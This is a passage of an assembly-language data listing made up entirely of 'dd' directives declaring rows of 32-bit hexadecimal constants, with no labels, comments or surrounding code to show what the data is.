		dd 3EC2362Fh, 6218003Ah, 6CAD6839h, 0FA002750h,	0FE304564h
		dd 39A0AD1h, 0CB0DE9DBh, 4807420Eh, 546AE7C9h, 88A26720h
		dd 148C002Eh, 0DB71FF31h, 7F18CB61h, 0D1203CD5h, 0EE170AB5h
		dd 7020C1E1h, 0C8C871Fh, 6838C20Fh, 0E900B1B8h,	0E08FAF43h
		dd 0C4368C9Eh, 0C740BB19h, 0C6E5500Ch, 300C041h, 0B9444771h
		dd 0F4B385h, 45E88BBCh,	512202ECh, 3B4B2400h, 40DB2765h
		dd 0FE311EEDh, 9060152Eh, 0EABD5A1Fh, 6950F894h, 87001993h
		dd 539144E8h, 0E91C671Eh, 39283E59h, 0E7376D0h,	14944DB0h
		dd 8BD237A7h, 6A083B83h, 5AEE401Bh, 9EF6D049h, 69C00DAh
		dd 558F69BDh, 0D0FB949Fh, 8DE03CDEh, 8066B03Dh,	483989E7h
		dd 77C3E4h, 4CBD7A3Fh, 0BE940B3Ah, 6CFF741Fh, 0FCAF280h
		dd 544C5AEh, 0A559E5E1h, 8B600466h, 0E70C4094h,	3CDB2AEEh
		dd 0BF003882h, 304623BEh, 0F1FE2E9Eh, 8D489F74h, 0B9F68014h
		dd 3CD8B2E4h, 1180C5BDh, 0ED7BDF44h, 0C3034957h, 20DD4E6Ah
		dd 3FE3B0h, 928B8170h, 42F246ADh, 41A1841Eh, 1CB1B046h
		dd 58035C69h, 0A16C6618h, 9400A365h, 9040F1EAh,	0D9B5696h
		dd 1CB90F74h, 0C3C9589h, 0BB3DB4h, 77D78A57h, 6E7A25h
		dd 870B501Dh, 818FC4FDh, 270863Fh, 4B66A6A1h, 10684A25h
		dd 8B67B3ECh, 19DEB837h, 53E89E86h, 0F200A4EFh,	0BE99CEAh
		dd 6930D798h, 0E3B0392Eh, 0DF060092h, 7644E69Bh, 0A9786BFFh
		dd 0B4ACCC01h, 18E273Eh, 8148788Fh, 2DC8CA40h, 0A4A1C726h
		dd 44A64054h, 99C00B86h, 8B913C84h, 0A0280296h,	4E690F99h
		dd 21008643h, 1C6AE32Ah, 0D5B409h, 9B3723B1h, 0BDBCBF72h
		dd 0C401C377h, 0B6743644h, 0D8204605h, 0B82E290Bh, 0E70100FCh
		dd 82916CDAh, 590E8C30h, 4455CAh, 0BA58F8D3h, 82BFCF7Dh
		dd 9E4080F3h, 5B13FBE7h, 0C28C3E5Dh, 321AE38Ch,	7C788551h
		dd 6C686902h, 0FF1F59DFh, 0E01CED60h, 92395D3Ch, 402131B0h
		dd 4910938Dh, 34608CA1h, 1548F81h, 511B24D5h, 0B21F0A64h
		dd 0C09E46F4h, 661410E9h, 6E6009Ch, 0B0BAE3CDh,	0DC9041E2h
		dd 692F6930h, 0B7373Ah,	86C5D89Fh, 446246D5h, 50487300h
		dd 0AEE48495h, 1834980Dh, 69301CF5h, 78008C87h,	0DD8F6E08h
		dd 0E08AA397h, 6290591h, 673637C8h, 8109E8h, 76A7C49h
		dd 9E400364h, 1B4675C4h, 0B0CD113Eh, 323A1925h,	3E15F2A6h
		dd 49809F59h, 455EBEDh,	5A24B2B3h, 84442CA5h, 37374C8h
		dd 2AB8FB7Fh, 3298F38Fh, 6C29FC1Eh, 0D20FC019h,	8C174091h
		dd 20662009h, 0A802213Bh, 0FF398A36h, 0FA78A07Dh, 0A62F815Ah
		dd 1C6D44C8h, 0B200DC91h, 0E9609747h, 90140F5Fh, 0EB43F588h
		dd 39006B66h, 0E32CC47Ah, 97FCDh, 36AD87DEh, 949D77FCh
		dd 1BB88A8h, 93B02288h,	22C41F08h, 1CB2DD26h, 8943158Ch
		dd 0D7BA5013h, 9C1A0172h, 0E9FA8267h, 0DCD6C8CEh, 7E09E578h
		dd 8147A18Bh, 8CD2E884h, 0A0441D6h, 24180115h, 30C3DD18h
		dd 0E0043E82h, 1E1A2764h, 31F83CC6h, 5AA194BAh,	8891EAC6h
		dd 55026B8h, 127751A3h,	0CA6FF80Ch, 8F28C0D2h, 0A21C94A8h
		dd 5527D0F7h, 1F480500h, 0D97C3BCBh, 7D030310h,	0B66E3685h
		dd 0C2FC29C9h, 59FD90B0h, 40318C26h, 0A122D764h, 364898B0h
		dd 2F602E78h, 0D02ACC21h, 0A1582C27h, 0C6060034h, 5001F5E7h
		dd 0E8EE6729h, 5AD3B51Eh, 4E3AB800h, 4D5B72D8h,	0F2800C4Dh
		dd 4F256E41h, 58314706h, 2CE11C81h, 80540A84h, 0C8D1BB83h
		dd 8500A529h, 335147FFh, 1F2435F2h, 418B1B4h, 0CCD3A259h
		dd 0E54C0F18h, 18EE8F2Ch, 1730991h, 0CC11C681h,	26011E14h
		dd 0C48840A0h, 0E8404344h, 39F0104h, 0A075F368h, 247030B2h
		dd 98CDEA26h, 692108h, 16EE36Ah, 5E003FC4h, 0A32CF204h
		dd 4C7FEF44h, 0E8443023h, 46B1241Ch, 0BE0F8670h, 74F641E7h
		dd 0F305089Bh, 0F88CCA5Ah, 198B3B8h, 62AD452Fh,	1EDA0134h
		dd 80336901h, 39371431h, 27D18BEh, 0C155FC8Bh, 83C00B34h
		dd 0B905CE03h, 0E80CF7A1h, 344564CDh, 9E145804h, 44B3949Ch
		dd 9499846Ah, 2CF46700h, 50CC140Bh, 0DC5466h, 4945B324h
		dd 0FB4AB261h, 3A04CD13h, 91700408h, 49F3830Bh,	0FB44C863h
		dd 74EA00A1h, 0CCF0E64Ah, 2E28A4ADh, 20E57C9Ch,	3340F55Ch
		dd 195760EEh, 0E5E4E37Dh, 87964F00h, 0C4A02DE6h, 0ECFC572Eh
		dd 40E41B26h, 752274F7h, 76007598h, 0D9F5B677h,	0F565FABFh
		dd 16DD7460h, 21C859E9h, 0DD5307CCh, 5898618Bh,	0B7513000h
		dd 0B10CC050h, 29A83752h, 9A00F41Ch, 0C5C16794h, 0AA4005EFh
		dd 28B2EA77h, 4A601CF8h, 4BED8131h, 6DE077Dh, 0C3C1C4F0h
		dd 69035EEBh, 41937B4h,	0D561F8F1h, 0F53E005Dh,	0DF49209Fh
		dd 935CE24Dh, 9EF0169Ch, 331B1461h, 90648050h, 6C98B1h
		dd 5FE6B6A6h, 0A5AAFFCAh, 0BB1224B3h, 32AF5432h, 52EA8C69h
		dd 0C931B910h, 0C934BADCh, 446E948h, 30CCB85Ch,	52D8901h
		dd 0BCD05A85h, 0E15830F1h, 0AE1B20h, 0E1364531h, 0C3935FB7h
		dd 533D347Eh, 6D688556h, 58D2EF5Dh, 9002270Eh, 767DCD05h
		dd 9F5D6702h, 41FB42B0h, 5030228Ch, 5952800Bh, 32B6E1C7h
		dd 1BEC8DC8h, 0BEB0F149h, 70D05789h, 0D715E700h, 20E8C9C8h
		dd 3F482EEDh, 881A45D4h, 0FD00AD1Ch, 4A5F7118h,	0E08437h
		dd 0B3831F42h, 0C0DF3DEBh, 3C59CCAEh, 4AB0C5E0h, 0A6942C05h
		dd 0BBE9B840h, 9057BBDh, 1ADF44C6h, 83A00813h, 3400C592h
		dd 0FC284694h, 0E026AA2Ch, 8D070B2Fh, 20319EEFh, 254C6466h
		dd 0E4540098h, 0C67B1CDCh, 4C0195EEh, 73761DC5h, 8FED57B3h
		dd 582159D0h, 0E4C40CE8h, 26D4A2D0h, 903E1839h,	8F11876Eh
		dd 0A0352644h, 0AE6FD826h, 80DE0021h, 148B6D33h, 0CC1E8673h
		dd 100AD611h, 199F02E5h, 48EEA1EBh, 39F04BB0h, 0DED5D700h
		dd 860F2FFCh, 0AA79028Bh, 31C4DD6h, 0F40C306Ch,	8112BD5Ah
		dd 0F4335484h, 0AACB00B2h, 1951614Dh, 0C30053E5h, 85F81EEEh
		dd 5FE4CB1h, 5D39A090h,	0FE8CCEAh, 7EF51400h, 0AC9A5F78h
		dd 5C2902E6h, 32335E2h,	0EE52ACCCh, 534B00D0h, 5875A9B3h
		dd 0B8E30F5Ch, 90789ABh, 0B4B069F1h, 948431C9h,	0CD8B8034h
		dd 7EBC70B6h, 0C98D3500h, 0D0ABB25Fh, 7FC0B81Ah, 0A470B91Fh
		dd 0DA309B4h, 50842C28h, 0F4B1688Fh, 0E0572980h, 2C7AF395h
		dd 0E2388B2Fh, 3A2B9366h, 0BC4618h, 8CD8D230h, 0E0D45AEAh
		dd 93AD2602h, 19A58D33h, 21872EEh, 39B5F8D2h, 0A01070AAh
		dd 0B2E60468h, 809C96A4h, 40B70A94h, 0EF00D8E3h, 18D23506h
		dd 304BD9h, 0CAC9CC5h, 0B678E43Ah, 0E01D694Bh, 39B84958h
		dd 4920608Ch, 19E661CCh, 25DB4A00h, 0C67EB31Fh,	0F5491EA9h
		dd 0DEA601BEh, 251D7FCBh, 0CAC0603Ch, 211E4622h, 0CE12329Fh
		dd 782D2D0Ch, 265CBB5Bh, 56006988h, 40449E27h, 0B8BE63Fh
		dd 83A56EBh, 1C70A410h,	704C94AFh, 610F8148h, 0A014BB54h
		dd 0E3FCEE98h, 0A493D0h, 8CC5489Ah, 7504FA8Eh, 686F93D2h
		dd 0A0BBBCC7h, 59BBB1C0h, 0E4B4523Ah, 602EEE15h, 1E6E4080h
		dd 5E09C135h, 98E42273h
		dd 0D3B82Ch, 6CAF1DCAh,	0D4CE871h, 0B43BA404h, 28E33F74h
		dd 2480004Dh, 0F0577EE8h, 8D3430F9h, 2516669h, 71B17224h
		dd 7369338h, 2BAF0C10h,	3F5A9C10h, 3852A600h, 84E1A89Bh
		dd 548C5CA1h, 2820AD8Fh, 73D5DBAFh, 0DD6E0577h,	0EE1851F8h
		dd 8952713Bh, 0FBFD3100h, 757F1798h, 0A0345469h, 19F900B4h
		dd 8D579925h, 9A021CF8h, 93B60C40h, 1F3DE1ABh, 2BC8BC38h
		dd 52017924h, 22BD0CC1h, 5CEEF18Ch, 27E0F071h, 5900BC71h
		dd 4A612D0Ch, 186AB7CDh, 48D2A96Dh, 29047BDFh, 73EB075Eh
		dd 9CFD9498h, 592118B0h, 2400AC54h, 150398A6h, 0BCB2BBh
		dd 2C743E94h, 0B08B3521h, 38129E4Eh, 6FEC0889h,	3E2B8h
		dd 0E39A7604h, 74F3D3BFh, 73023E1Eh, 0B08D8927h, 436AC08h
		dd 0EFAA0605h, 4277C492h, 2F8D3058h, 8F25844Ch,	0C81038C6h
		dd 512E8864h, 5A313661h, 19A748C6h, 0C0224484h,	41A1D3C5h
		dd 20A160A4h, 0E0301423h, 1ABD72Eh, 91DFCF58h, 0EA6628B8h
		dd 88A54523h, 0F1ECDEh,	0CE4C8430h, 51F93104h, 0A45C6415h
		dd 9E760070h, 0E1FEE9E7h, 7A13000Eh, 3621D1A1h,	0AC2C7B1Ch
		dd 68EAC83Dh, 0EC267F01h, 0E6EEE070h, 8F9E0924h, 60834A2Ch
		dd 0A9005519h, 62203AF2h, 610892h, 0EFB564EBh, 0C31B5930h
		dd 0CCFBBE00h, 0E6B0BB0Ah, 0ECF1C840h, 9F64B58h, 0F9701612h
		dd 0D8CF7205h, 1C26F440h, 5B871811h, 0E307BB7h,	0CC91ABh
		dd 5CEA4D72h, 714C6F7h,	9502CDF2h, 635A0E8Bh, 1CD959h
		dd 4EED7BDDh, 7450B0F3h, 9102328Ch, 85C95C81h, 4A2C7BA1h
		dd 0AB486074h, 0B5004799h, 0EB2A1727h, 30FA88DCh, 84A10E1Ch
		dd 4256156Bh, 0E8E0268h, 4396E692h, 0C8A4F408h,	0D3B6A150h
		dd 1DE5220h, 7CF2EEA0h,	0EE171844h, 0E5D814C0h,	1C383781h
		dd 0A48507C5h, 910E20A4h, 534DD8B7h, 0DE5A0C03h, 0AF21B8C7h
		dd 41E09EDCh, 2266030Ch, 0E1FD0098h, 0F0519F3Bh, 23C400BCh
		dd 0B0A66196h, 3E3CC25Dh, 0AE391786h, 2CC87812h, 1380932Dh
		dd 6BACD01Bh, 9FE00601h, 0D07CFE0Eh, 2138A15Fh,	74343407h
		dd 1C11EBC2h, 1B1C47B1h, 6D038C68h, 90937500h, 2EA5DFA2h
		dd 4D204F8Eh, 0CC310F8Ch, 567F51C0h, 5E791600h,	0A281996Eh
		dd 8DA817A0h, 38A81ECCh, 0C000459h, 37975F7Eh, 0C74D1596h
		dd 8428896Ch, 0E4A447F0h, 0E9D244EBh, 92589C02h, 4E23159Fh
		dd 0C3E40190h, 2DBDAB5Fh, 86EFE24h, 0F0A90B79h,	46598F3Dh
		dd 1D30E49h, 0B6B0BAC6h, 2422FC24h, 44D466A7h, 0D244C171h
		dd 157BFC4Ch, 0E828FB8Ch, 21039C8h, 1CE96931h, 7A702DE8h
		dd 803B74B9h, 0BD319C45h, 3055EB09h, 3F50BC5Ch,	975DB41Ch
		dd 0EC84501Ch, 5777590Ah, 0B2E090C3h, 0E66F4EE9h, 0E49E0173h
		dd 0D0059295h, 5110942Dh, 496480E8h, 0F5EA1BFh,	0C3389CA8h
		dd 0C652B001h, 0ADE4EC74h, 26F6E0A6h, 2B8B2C1Ch, 0F394A200h
		dd 50E83B3h, 1A88ED3Dh,	88F0A79Eh, 68034132h, 3CE7C406h
		dd 700B787Fh, 46FF74BDh, 54C909CCh, 4600D410h, 59C2B3AAh
		dd 4E66E839h, 6948C802h, 0CA98A32Dh, 1E37D8C1h,	0D3E20770h
		dd 5E8AEE5Dh, 0BC804D01h, 0CE20221Dh, 9E0691DEh, 0F049DCF2h
		dd 719CE503h, 2D7DA93h,	7CB6CAA9h, 0C441CACh, 0C3064AF0h
		dd 0C7273470h, 8090B1B8h, 756EEB1h, 0A317CD53h,	1C61B2AFh
		dd 0C0326330h, 0DA6C205Ah, 2C3DED0Fh, 2B2F9F7Fh, 436BB4C0h
		dd 0BACD26ACh, 72374534h, 55650064h, 232E9912h,	70FF00A7h
		dd 18421B36h, 25FAC49Fh, 0C16E1C0Bh, 0D5D06811h, 74A98ADh
		dd 0C706D3E6h, 11F9D1D0h, 52D98349h, 0B7B10F24h, 3B7B5150h
		dd 4ADE023Eh, 0E466ECA1h, 906788D9h, 0CFDF810Bh, 4C213E7Fh
		dd 48DF643Ch, 0EA0A69D2h, 9FC484D7h, 6C0630A3h,	89A55AACh
		dd 4827EAF8h, 0DD28201Bh, 5A91973Bh, 0EE5C2119h, 8347C866h
		dd 0F54A0600h, 289EC7DDh, 0E00F1681h, 871412D7h, 1BB95C2Ch
		dd 0A2F4E0A4h, 1241313Fh, 24A41983h, 0E5CF136Ch, 5C110078h
		dd 60D43829h, 4A819A1Ch, 0EBCBA65Dh, 4640B2A2h,	0F6740080h
		dd 3B22CCB3h, 0ECF6E3F0h, 39E4BC1Fh, 0FC886993h, 25BA5A30h
		dd 0B1906288h, 3E00A479h, 50966FF9h, 0E6530108h, 5AB170F7h
		dd 80B87C8Ch, 338174ADh, 51790590h, 0C16AC646h,	680DC4h
		dd 0DDB857h, 0B2D3CA4Bh, 0CEC8F97h, 5C66E50Ah, 49918839h
		dd 0F4EDF600h, 4051C49Ah, 9B12A90Bh, 0A58187Ah,	5F6E0238h
		dd 583CD28Ch, 34159471h, 0D0C292F8h, 3BB4E553h,	0B9D21898h
		dd 0C89CBB20h, 686694h,	5DC9B3ABh, 258D616Dh, 1C84E49Ch
		dd 8595402Fh, 1D1AD4BFh, 805DBACEh, 0B7A459A3h,	0A898156Ah
		dd 1101B920h, 0C11B1h, 0C4C0A766h, 0B096D7h, 0CA1A1363h
		dd 0A0D058A9h, 5B3F5A0Eh, 687E8ADEh, 89C3390Fh,	430C44C6h
		dd 26CA2163h, 0A2A5C400h, 5E5800D0h, 84F8AA7Dh,	3E15E631h
		dd 9C80CFB7h, 4B370B7Ah, 227A91BBh, 50FDA32Ch, 0B9C898E9h
		dd 7D0500E9h, 571E1143h, 3D0560DAh, 8D89830Dh, 5B352898h
		dd 0D85448D1h, 1DC75985h, 0B82EB842h, 1B1C232Ch, 0F3EA6100h
		dd 32F5D8EBh, 465B001Fh, 19ECBD11h, 0D0392207h,	0B38097A9h
		dd 3DE0E460h, 7810959Fh, 7B00B5F3h, 0B0DF9C03h,	4C2E8D38h
		dd 0AE00609Eh, 83ADA80Eh, 0B24BD539h, 54862432h, 73AE8EC4h
		dd 23614F23h, 12FFD7B8h, 1549E913h, 1ADF1460h, 4AD8883Bh
		dd 693C4F7Fh, 0CB1B9231h, 21A01037h, 1930475h, 15673DB6h
		dd 0E4F4EB99h, 0F4BCBC01h, 13815804h, 0C400A8F7h, 6CF870DAh
		dd 7400CC60h, 1347E51Ch, 12E0378Ch, 80CAAA2h, 1443A130h
		dd 0D3FE3943h, 7382EAB8h, 78DD7FCBh, 3308C871h,	60B894E5h
		dd 8C01F053h, 5E9BE2B2h, 0F147D85h, 201B2A9Dh, 7C78B692h
		dd 0A7A300C3h, 217F077Dh, 1D13C1B7h, 848CD38Ah,	64855004h
		dd 0CD3A00E1h, 99FBD74Ah, 0D200C3DCh, 3B4FB5AEh, 74CAC8F1h
		dd 6BAB0991h, 58106602h, 0FA00E979h, 9DE7A2EDh,	0FAF29A96h
		dd 0A1344C4Bh, 0ACF3433Fh, 68375DE0h, 0C9C30F85h, 801C3C24h
		dd 2EB9F116h, 2AC005Fh,	26EAFB09h, 6A0419CFh, 9D164DDEh
		dd 39FF090h, 0E4EC53BAh, 34711100h, 0D58FAD17h,	74601F4Ah
		dd 0BEBA2EA1h, 3C4983D0h, 5C1C816Ch, 36C06279h,	0BDBCB307h
		dd 13FE4F58h, 0E348D0D0h, 8E00C174h, 0F3A3AC40h, 3D937EA8h
		dd 68D9D098h, 9418F789h, 3300E330h, 1975C8FEh, 358F4Bh
		dd 1C873FD8h, 253963Ch,	0E6E44201h, 22D2A852h, 4444092Ah
		dd 0CDB04C48h, 0B6DC1C88h, 0C88C4444h, 58FAA6D4h, 4F367300h
		dd 4BA96B50h, 0A4405D4Ah, 0F4278B7h, 1000F1C2h,	74C296DEh
		dd 0C19051ECh, 5048BDBBh, 137BDF90h, 94413800h,	50E681CCh
		dd 0DC31953Fh, 580C76h,	29259620h, 42D0D16Ah, 9BAC9F00h
		dd 999DB7C7h, 353E0064h, 659C2F52h, 60032178h, 40851DFAh
		dd 76BDC0E2h, 75693EA7h, 0AE201A37h, 80B6BF87h,	0E1816E7Eh
		dd 820162FEh, 65B48D24h, 7AE402BCh, 4031C1A2h, 8315FB53h
		dd 59224F41h, 0CBCBE318h, 707C70h, 33DA2954h, 0A982036Ch
		dd 0DC7B2800h, 0A8D5831Eh, 0E10E00FAh, 0C41BD884h, 643EF5DDh
		dd 69CC05FDh, 3440A9A3h, 730A04C1h, 418F3C81h, 79F2FA19h
		dd 0B803E5DAh, 63C828h,	48AF97D8h, 760D7BE6h, 0E10901C6h
		dd 6077B229h, 0A399A885h, 981C27FCh, 0B8D6BCEFh, 7C739900h
		dd 63A4B621h, 8461887Bh, 19223100h, 0DB76CED1h,	3E12001Dh
		dd 371E3A8Fh, 65526F1h
		dd 39888B0h, 11280D61h,	0EFD5F0C1h, 0AC350928h,	4129F5F9h
		dd 44F4F318h, 0B5780064h, 4A954964h, 0B279CE03h, 287B9E8Eh
		dd 44A08389h, 69606102h, 8DF22819h, 6181CF9h, 8F1F007Bh
		dd 5445B89Dh, 0AEFD2B00h, 8C264484h, 53660AF9h,	3D3C3E05h
		dd 0A307C244h, 10BC36DBh, 1D5C8EC0h, 65820087h,	2F1E301h
		dd 4D00F45Eh, 0BFA7E986h, 0C672808Fh, 51EF9381h, 0C062A900h
		dd 7C5F95EEh, 1C2249F4h, 80A7A610h, 47E83472h, 11B7BFDh
		dd 24296DDh, 136F61A9h,	4E0A9030h, 8E7EF1h, 0E059A07Fh
		dd 5A2A8778h, 0C1A8032Ch, 0A45315h, 6B128D14h, 96B46Ah
		dd 31EA2881h, 0A3A2E564h, 22CEE31Dh, 60C6BF00h,	0FA96C9h
		dd 316D6EF3h, 4B77F992h, 4446EC14h, 912F05D0h, 6C086682h
		dd 0CF3080FBh, 0B1E28D43h, 0B8268C05h, 0CC20978Eh, 0F3325A7Fh
		dd 608992CCh, 412B9902h, 0B10AC59Ah, 885E50E4h,	397A3C1h
		dd 80278301h, 52C2CC31h, 0EE588FC8h, 0B8D90076h, 538A3497h
		dd 8209957Bh, 180E2A75h, 0C0FC93C8h, 0E770BDA1h, 4405194Bh
		dd 628B8848h, 7B8E9447h, 93CA3240h, 528F016h, 842A808Dh
		dd 1F704F02h, 0E7980E80h, 0E53A22C9h, 478C9FD5h, 462E68B2h
		dd 0C6260414h, 0C0913601h, 59D86250h, 55F94D00h, 4E90E799h
		dd 84DEA0FFh, 2901E05Fh, 0AB948B91h, 0EE5306B0h, 1E538122h
		dd 33E226Ch, 0BEDA557Ch, 2AE0A6D9h, 9C3CCAC5h, 0E8F40789h
		dd 48814194h, 8E4083AEh, 0C440BBC1h, 88DD26F8h,	0D500FACCh
		dd 139B6B6Ch, 79DB64h, 813B5E5Dh, 667329EFh, 0DC1E6E03h
		dd 5048B445h, 4527E080h, 2DF8D3FAh, 9331E458h, 0CD5099F1h
		dd 0A7AAE0h, 67741924h,	21209518h, 689BFC7Eh, 5A83E780h
		dd 14B77A3Fh, 88998EB1h, 0ECE48088h, 4F0208CBh,	11FB434Bh
		dd 0D56E7FE0h, 18E4F648h, 0E0A10B83h, 36120938h, 0C0800351h
		dd 196EF031h, 23703248h, 78300074h, 0B08BF1E1h,	789980F8h
		dd 0D3B2ABE0h, 82E100AAh, 0EC98F835h, 0B7122263h, 0D822DC7Ch
		dd 0B29D8936h, 23BC0220h, 75202C19h, 80740684h,	367AC9EFh
		dd 14222828h, 0D6FA3106h, 90D8F3D4h, 4CEF108Ch,	3B2A0261h
		dd 4C83817Fh, 0DA311148h, 4EA900A2h, 77B07EA7h,	6CD00554h
		dd 0C0976FE1h, 4176194Ah, 0CD05F901h, 0DE0EE75Ah, 8335D9EBh
		dd 9329C826h, 30FE00BCh, 7A38FDC3h, 0B52A731Dh,	0A840140h
		dd 14D925A6h, 9460E81Fh, 516F8780h, 3D030844h, 1D555436h
		dd 30B6FA6Ch, 0E00369FAh, 78A37F79h, 6081BA5Eh,	8080BAE4h
		dd 0D099AF36h, 903D1D82h, 598520FAh, 0BA3BB79Ah, 4DEB8E8Ah
		dd 0A8020477h, 1168C0C2h, 0EC4110F5h, 0EE1200C1h, 0AE44894Bh
		dd 790CAAD4h, 601914DFh, 40814891h, 3DC060D2h, 7950B276h
		dd 8188C1D4h, 1450407h,	8C4C3B4Bh, 0EC936424h, 81017028h
		dd 90255BDBh, 18106ED6h, 7F2C5889h, 0D30A299Dh,	3E115863h
		dd 15E4990Eh, 0A33D2320h, 34C9AD8h, 5D5F001Ah, 13A4D654h
		dd 16AD2467h, 19326154h, 724832CEh, 68ED590Fh, 0F8E1C03Dh
		dd 3E5030Bh, 6F6453EAh,	0CB801DC7h, 0C4B3407Fh,	418EDA0Ch
		dd 0BD9A002Eh, 31BED490h, 0C015A87h, 409C4E3h, 3440D0A8h
		dd 329109Fh, 0CD1DE679h, 1E90B90Ah, 0B30207FEh,	0D91B166Ch
		dd 0A2EC840Dh, 6C163D49h, 0BC5B0D2Ch, 522539E0h, 0C5700C6h
		dd 3E17B6Fh, 8003FF8h, 0CA7A6CDFh, 4CB088CBh, 0D78228DCh
		dd 0A0A0F993h, 361666Bh, 8CCB4803h, 0E0C81D10h,	910FF105h
		dd 0ACEC20B0h, 1C9A4800h, 0E0AD6FB1h, 5413C51Ch, 3B095B02h
		dd 9038B2B1h, 895428F0h, 0F47261h, 9FD657F1h, 2488211h
		dd 0DC7A727Ch, 6103814Ah, 9529076Ah, 7004E6DBh,	0A9D2E594h
		dd 0B084C200h, 0A367EF8Dh, 0A1BE2E2Ah, 4FE960D4h, 29021BBFh
		dd 35EE1EE0h, 0CCE8C297h, 0FA1D0768h, 60C79294h, 0F39FF10h
		dd 11F18F0Ah, 6911545Dh, 884C800h, 14E37DA0h, 5C6EDD0Fh
		dd 0EF6B41A8h, 94261BB1h, 0AC9A4002h, 98E14D24h, 82DF1716h
		dd 936F0432h, 9131C18Ch, 9B48A462h, 90050800h, 1665422Dh
		dd 89C499EAh, 3CC0201Ah, 4CF11969h, 18C994DBh, 53A61C04h
		dd 42F10408h, 70000390h, 0AA4FB6h, 0E7242AEEh, 81B5535Ch
		dd 0E365CA0Bh, 0D73819C3h, 0D2C7C000h, 2A82CF18h, 624469h
		dd 868E3EAFh, 11378384h, 97D35A02h, 597441EAh, 0AADA8900h
		dd 0E2755020h, 72001349h, 469ED1D0h, 48A2352h, 0FFF37B0Fh
		dd 1170A62Bh, 7C490DDBh, 79F8E202h, 58C488B2h, 0B3553E0Eh
		dd 0DB7C4585h, 9BCC7001h, 2ECC16EDh, 45670307h,	0EF66D139h
		dd 2841DDE2h, 0F053104Eh, 0D4638236h, 61225BE2h, 38B4A06Bh
		dd 8E5EA3h, 4E416F37h, 34778B58h, 45E7BA01h, 0E928E4B9h
		dd 2D072863h, 0C0FC031Eh, 716127D2h, 0A60549C0h, 123ACEC6h
		dd 61FD451Fh, 51D47410h, 68602A7Ch, 78612C74h, 579DDC2h
		dd 71382729h, 0E86F032Bh, 3149195Eh, 2E8386D0h,	0EF160ED1h
		dd 0FFE0445Ah, 3435BE8h, 0F24F0E00h, 0D13EC074h, 25A125E3h
		dd 68000816h, 0C94AF1CDh, 246F6344h, 102CAEF6h,	0A9A48C25h
		dd 7B5EAEEh, 0A3D33456h, 0A1425EAAh, 0C446CB16h, 8BCE6E04h
		dd 74C01C3Bh, 0E0BEAE37h, 2034B859h, 734631B5h,	2883680Ch
		dd 0AE00E2C9h, 3AFF5D81h, 2EA3B7C8h, 5A3B9Ah, 0DDFB19A4h
		dd 8E041810h, 27F183B4h, 0EE53A0A4h, 81B1CB17h,	5066EC89h
		dd 0F4B2202h, 6CF8D875h, 7F400954h, 146020A9h, 0E991D0h
		dd 435F04h, 0E16B38CEh,	0D6776569h, 9809352Eh, 6021A19Dh
		dd 33E17366h, 4237AA00h, 7B8E8280h, 4420B976h, 0C97340EDh
		dd 3548AEBh, 0E8EECF41h, 0ECF0928Bh, 7D3A5FFCh,	581D294Fh
		dd 478C824h, 0D84F00E4h, 7AC8E7BFh, 79EC255Ah, 0AD1DD0B1h
		dd 0FF882AA2h, 90520F98h, 8627A80Fh, 6C8BF0F2h,	0F84DBFDEh
		dd 0FA4F8798h, 5A82DBF2h, 72DD3BA0h, 8A1B3880h,	0B5BDB4A4h
		dd 0F3F52403h, 0F009832Fh, 30BF2927h, 0C5A96C60h, 0B325FE8Eh
		dd 31201807h, 0C4E89681h, 0A08D4E73h, 161D5D9Ah, 0C42513C1h
		dd 0CE844F7Dh, 65001AC8h, 0D26B2368h, 0E78207D4h, 0B00C3FCAh
		dd 0CDA1BFB0h, 17665D07h, 0B9BC23F1h, 40EE4F53h, 8D288240h
		dd 844B2BACh, 87E42030h, 8040057h, 55DC0D4Ch, 0CF00F89Eh
		dd 141CA45Ah, 4AD72F06h, 1DD83019h, 88487618h, 835B83C4h
		dd 0C0DEB039h, 0D1A1009Eh, 0A772116Eh, 0B7FAB004h, 0D9DA972Eh
		dd 4151D700h, 3B2B1B87h, 4701E25Ah, 0F118CF95h,	51C86329h
		dd 77F8D95Ch, 719A11CCh, 34A66913h, 81349824h, 1B5EE100h
		dd 1A4CEAA3h, 0F9DE264Bh, 12A91B0h, 2E95E065h, 1DC49E3Ch
		dd 0F7380201h, 840B9FF8h, 2AC49482h, 0A57A6901h, 80916985h
		dd 6F40086Eh, 94D8E644h, 1DD8A4DBh, 0C04A08AEh,	0B75C3652h
		dd 5000D5F1h, 7955AABFh, 71C34529h, 9C700410h, 8C60F4ABh
		dd 14938398h, 873A6691h, 0F7291809h, 3A744482h,	0CB1F0640h
		dd 21E7D25h, 99988E50h,	0B837A394h, 2AC1E521h, 872821Fh
		dd 4CF16707h, 0CB62F39Fh, 932842E0h, 22D04D00h,	44812653h
		dd 0E1E60356h, 51BDE92h, 94C8A4FCh, 0C5A0A21Ch,	0AA0B5C44h
		dd 61274CA3h, 5E1388A1h, 0B82ADCF8h, 0F0FC1C04h, 40A67CA9h
		dd 900BA222h, 81F91C2Fh, 0B4D2087Ch, 62D0B470h,	9E8021A4h
		dd 7A585860h, 0B6CDA905h, 8881D107h, 78815B81h,	41AE05FAh
		dd 0D8E04861h, 0A3378700h, 5AB8E517h, 0F305090Ch, 0A46E1BC8h
		dd 0D0B9750Bh, 549A82CCh
		dd 3064E4FAh, 6F81A3D9h, 22023FC3h, 0FCB9C6D8h,	0CBB4E053h
		dd 9AD21459h, 83D54DBh,	3279C400h, 97F2F634h, 814F6A00h
		dd 0F3FBEC41h, 90E92436h, 98040CCh, 9B00A050h, 651723A5h
		dd 0B53F28h, 2C252194h,	0BFE904C5h, 5C40802Ch, 134FC43Dh
		dd 703A4B9Fh, 99A269C0h, 9118F49Ah, 93315DD6h, 4A39C028h
		dd 0AFE610B2h, 7F22EB01h, 0DC0FCFAAh, 0CC5D5CE9h, 0C33C4862h
		dd 0E3BE2580h, 16941D95h, 31DB1E02h, 0C9B129D7h, 20106690h
		dd 0E83A301Ch, 552C009Dh, 0C7A8C6FDh, 0AA160471h, 93B1EF81h
		dd 248A284Ch, 933090E4h, 0A090A1F3h, 6ADF0023h,	8447CCBDh
		dd 1024AC0h, 0EA300B9Bh, 78106136h, 2A30E614h, 830B74CBh
		dd 49988C2h, 188119F1h,	50F86645h, 0F1541B04h, 88FD29ECh
		dd 9C00258Ch, 97728B38h, 1B2ED53h, 2698D2DBh, 0CCD81141h
		dd 2949CB05h, 848893E0h, 30560052h, 0F7E4CC26h,	61025AC6h
		dd 66F825Dh, 0A7945142h, 6AFB7490h, 2007891Eh, 0C8A33000h
		dd 0F778896h, 355AEA10h, 0CB217E80h, 0ACB1E62Ah, 18FA2805h
